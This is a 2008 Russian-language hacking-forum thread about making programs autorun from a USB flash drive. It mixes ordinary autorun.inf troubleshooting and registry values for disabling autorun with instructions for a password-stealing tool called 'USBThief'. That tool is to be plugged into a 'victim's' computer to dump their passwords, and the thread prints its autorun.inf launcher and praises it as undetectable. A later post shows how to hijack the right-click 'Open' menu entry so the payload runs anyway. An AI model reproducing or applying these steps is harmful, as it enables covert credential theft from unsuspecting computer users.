Как можно сделать автозапуск с флеш-карты?

Discussion in 'Безопасность и Анонимность' started by Scofild, 5 Apr 2008.

  1. Scofild

    Scofild Member

    Joined:
    26 Jun 2007
    Messages:
    29
    Likes Received:
    43
    Reputations:
    0
    Как можно сделать автозапуск с флешки, чтобы когда я её воткну программа на флешке автоматически запускалась
    Пробовал inf файл создавать
    [autorun]
    open=opera.exe
    icon=icon.ico
    Но так не работает. Как это можно сделать?
     
    8 people like this.
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Либо у тебя авторан выключен, либо файла opera.exe в корне флешки нет, либо ты inf файл криво обозвал
     
    _________________________
  3. Karantin

    Karantin Elder - Старейшина

    Joined:
    21 Dec 2007
    Messages:
    330
    Likes Received:
    146
    Reputations:
    24
    autorun.inf ?
     
  4. Scofild

    Scofild Member

    Joined:
    26 Jun 2007
    Messages:
    29
    Likes Received:
    43
    Reputations:
    0
    Я пробовал файл autorun.inf создавать и в нём написал [autorun]
    open=opera.exe
    icon=icon.ico

    Kaimi если он выключен какой ключ реестра его включает?
     
    #4 Scofild, 5 Apr 2008
    Last edited: 5 Apr 2008
    1 person likes this.
  5. YoYo Factory

    YoYo Factory Elder - Старейшина

    Joined:
    24 Mar 2008
    Messages:
    108
    Likes Received:
    79
    Reputations:
    -5
    Источник :D
    http://forum.antichat.ru/thread63601-usbthief.html

    Итак, для установки нам потребуется USB наситель и данная програмка.
    Распакуйте архив, и из папки USBThief скопируете всё на флэшку.
    (Важно!!! Вы ДОЛЖНЫ скопировать все файлы в главную дирикторию USB насителя! Никаких папок создавать не надо!)

    Как работает:
    Вставьте USB в компьютер Вашей жертвы
    В папке "dump" на USB вы увидите все пароли

    Ссыли:
    1---
    2---

    А вот содержимое авторана

    [autorun]
    action=Open Files On Folder
    icon=icons\drive.ico
    shellexecute=nircmd.exe execmd CALL batexe\progstart.bat
     
  6. Scofild

    Scofild Member

    Joined:
    26 Jun 2007
    Messages:
    29
    Likes Received:
    43
    Reputations:
    0
    У меня USB Thief не работает почему то. А для чего nircmd нужен?
     
    #6 Scofild, 5 Apr 2008
    Last edited: 5 Apr 2008
    3 people like this.
  7. YoYo Factory

    YoYo Factory Elder - Старейшина

    Joined:
    24 Mar 2008
    Messages:
    108
    Likes Received:
    79
    Reputations:
    -5
    nircmd собирает пассы, типа пинча только нужно флешку вставить!

    Отличается от пинча тем что не палится!
     
  8. Krinicin

    Krinicin New Member

    Joined:
    27 May 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    У меня тоже не работает. Я все сделал как ты написал. но голяк. Может там еще чтото нужно добавить или изменить?
     
  9. 1SeTh

    1SeTh Elder - Старейшина

    Joined:
    17 Feb 2006
    Messages:
    164
    Likes Received:
    18
    Reputations:
    5
    у меня тоже не катить автоматический запуск, после двойного клика начинает запускатся. А что если человек решил открыть правой кнопкой мыши?
     
  10. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    - пока что эффективного алгоритма, предугадывающего действия человека, не придумано :)
    - если не запускается автозапуском, значит он (автозапуск) отключен для сменных устройств (имхо)
     
  11. NaX[no]rT

    NaX[no]rT Members of Antichat

    Joined:
    3 Sep 2005
    Messages:
    489
    Likes Received:
    201
    Reputations:
    202
    У тебя точно Opera.exe лежит в корневой там же где и autorun.inf? Если да, то какая у тебя ОС?
     
    _________________________
  12. Scofild

    Scofild Member

    Joined:
    26 Jun 2007
    Messages:
    29
    Likes Received:
    43
    Reputations:
    0
    XP
     
    2 people like this.
  13. Midas

    Midas Elder - Старейшина

    Joined:
    17 Jan 2008
    Messages:
    241
    Likes Received:
    45
    Reputations:
    1
    Какой-нибудь твикер делается вот так:


    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer

    NoDriveTypeAutoRun

    Допустимые значения ключа:
    0x1 - отключить автозапуск на приводах неизвестных типов
    0x4 - отключить автозапуск сьемных устройств
    0x8 - отключить автозапуск НЕсьемных устройств
    0x10 - отключить автозапуск сетевых дисков
    0x20 - отключить автозапуск CD-приводов
    0x40 - отключить автозапуск RAM-дисков
    0x80 - отключить автозапуск на приводах неизвестных типов
    0xFF - отключить автозапуск вообще всех дисков.

    Значения могут комбинироваться суммированием их числовых значений.

    Значения по умолчанию:
    0x95 - Windows 2000 и 2003 (отключен автозапуск сьемных, сетевых и неизвестных дисков)
    0x91 - Windows XP (отключен автозапуск сетевых и неизвестных дисков)

    Так же можно это осуществить с помощью групповых политик:
    Конфигурация компьютера->административные шаблоны->Система->отключить автозапуск.

    В случае с WinXP Home Edition применима только правка реестра вручную из-за отсутствия инструмента правки групповых политик.
     
  14. KillAll

    KillAll Elder - Старейшина

    Joined:
    27 Feb 2006
    Messages:
    78
    Likes Received:
    10
    Reputations:
    0
    Добавь в авторан:

    shell\1=Открыть
    shell\1\Command=start.bat

    И в контекстном меню первым будет стоять это "Открыть".
    Палится тем что будет два "Открыть".
    Встречал системы где это не работает, пунк контекстного меню не первый, но на большинстве все ОК.
     
  15. AkeLLa

    AkeLLa Banned

    Joined:
    30 Aug 2008
    Messages:
    133
    Likes Received:
    243
    Reputations:
    1
    а в висте как отключить?
     
  16. lilsaint

    lilsaint Elder - Старейшина

    Joined:
    7 Jul 2008
    Messages:
    78
    Likes Received:
    132
    Reputations:
    -9
    в какой файл пасы записываются????????
     
  17. NightHost

    NightHost Banned

    Joined:
    19 Aug 2008
    Messages:
    39
    Likes Received:
    6
    Reputations:
    0
    В эту папку:
     
  18. Aligator

    Aligator Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    138
    Likes Received:
    15
    Reputations:
    0
    А как запускаются вири с флешок ?
    Им помоему вообще наплевать на ключ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Pol icies\Explorer
     
  19. djKayot

    djKayot New Member

    Joined:
    29 Jan 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Обьясните кто нибудь?

    вчера рылсяу друга по флеше(принес вирусов поубивать), и нарыл червя Win32.Kido-C. так вот у него в авторане вообще какая-то левая фигня(т.е. нет страндартных open и т.д), как по мне смхивает на машинный код. и работает т.к. доктор прописал. кто обьяснит?.

    сам файл могу выложить если интерестно
     
  20. echobyte

    echobyte Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    463
    Likes Received:
    190
    Reputations:
    50
    Ну так выложи